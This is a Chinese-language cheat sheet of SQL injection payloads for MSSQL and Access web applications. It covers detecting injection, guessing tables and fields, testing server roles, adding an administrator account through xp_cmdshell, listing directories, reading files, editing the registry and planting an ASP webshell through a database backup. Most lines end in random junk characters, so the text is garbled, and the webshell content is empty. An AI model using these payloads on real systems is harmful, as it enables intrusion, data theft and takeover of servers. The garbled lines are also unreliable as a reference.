1.判断是否有注入;and 1=1 ;and 1=2 TOx >Z
2.初步判断是否是mssql ;and user>0 0XWhSrHM
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3.注入参数是字符'and [查询条件] and ''=' Wp
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1zP)~p3a
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5.判断数据库系统 ? koIZ
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;and (select count(*) from sysobjects)>0 mssql ~85>.o2RDW
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;and (select count(*) from msysobjects)>0 access wxc24y
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 xW.~Jt
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 i!i=6m.q7
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 lvd`_+P$
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9.(1)猜字段的ascii值(access) Errs6
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(2)猜字段的ascii值(mssql) c2RQwtN|
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 p&$O}AX|
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10.测试权限结构(mssql) VxAG=E
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ''?iJFR
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;u*I#)7
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 3%(,f,
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ufn%sA
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- MS`XhFPS.
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;and 1=(select IS_MEMBER('db_owner'));-- PS3jCT
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11.添加mssql和系统的帐户 ]NyN@9u@(
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;exec master.dbo.sp_addlogin username;-- ]YrgkC35
;exec master.dbo.sp_password null,username,password;-- t"nxny9&
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- RqKkB8g
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;exec master.dbo.xp_cmdshell 'net user username password 3Dx@rW\
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- .#}A/V.-Y
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *RmD%[f
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12.(1)遍历目录 Z^c\M\`7
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;and (select top 1 paths from dirs)>0 '=(D7F;
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- CIVV"p`}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 IP^1ca#<
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Dis kGq@T
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 +F~B"a
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 I%{ 1K+V/
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13.mssql中的存储过程 xyHv7u%*
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xp_regenumvalues 注册表根键, 子键 NZ?dJ"eq7
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -XnOj2
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xp_regread 根键,子键,键值名 gX|\O']6
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1@9M[_<n5
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xp_regwrite 根键,子键, 值名, 值类型, 值 Qjd]BX;
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 0<##8m@F8
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xp_regdeletevalue 根键,子键,值名 N36B*9m&p
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 +:W? :\
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2wa'WEx
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14.mssql的backup创建webshell qE8Di\?
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use model ;,7m
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create table cmd(str image); J4s`U/F
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insert into cmd(str) values (''); @jq H8
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backup database model to disk='c:\l.asp'; c`N_MP
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15.mssql内置函数 s>[Oe|`
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;and (select @@version)>0 获得Windows的版本号 n57mh5mixM
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa !& >LLZ
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;and (select user_name())>0 爆当前系统的连接用户 ;iJ}[HUo
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;and (select db_name())>0 得到当前连接的数据库 _X@ Q`d
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16.简洁的webshell v&7x ~!O
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use model k^K%."INn
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create table cmd(str image); 85Kf>z::c
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insert into cmd(str) values (''); 8%xiHPVg
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backup database model to disk='g:\wwwtest\l.asp';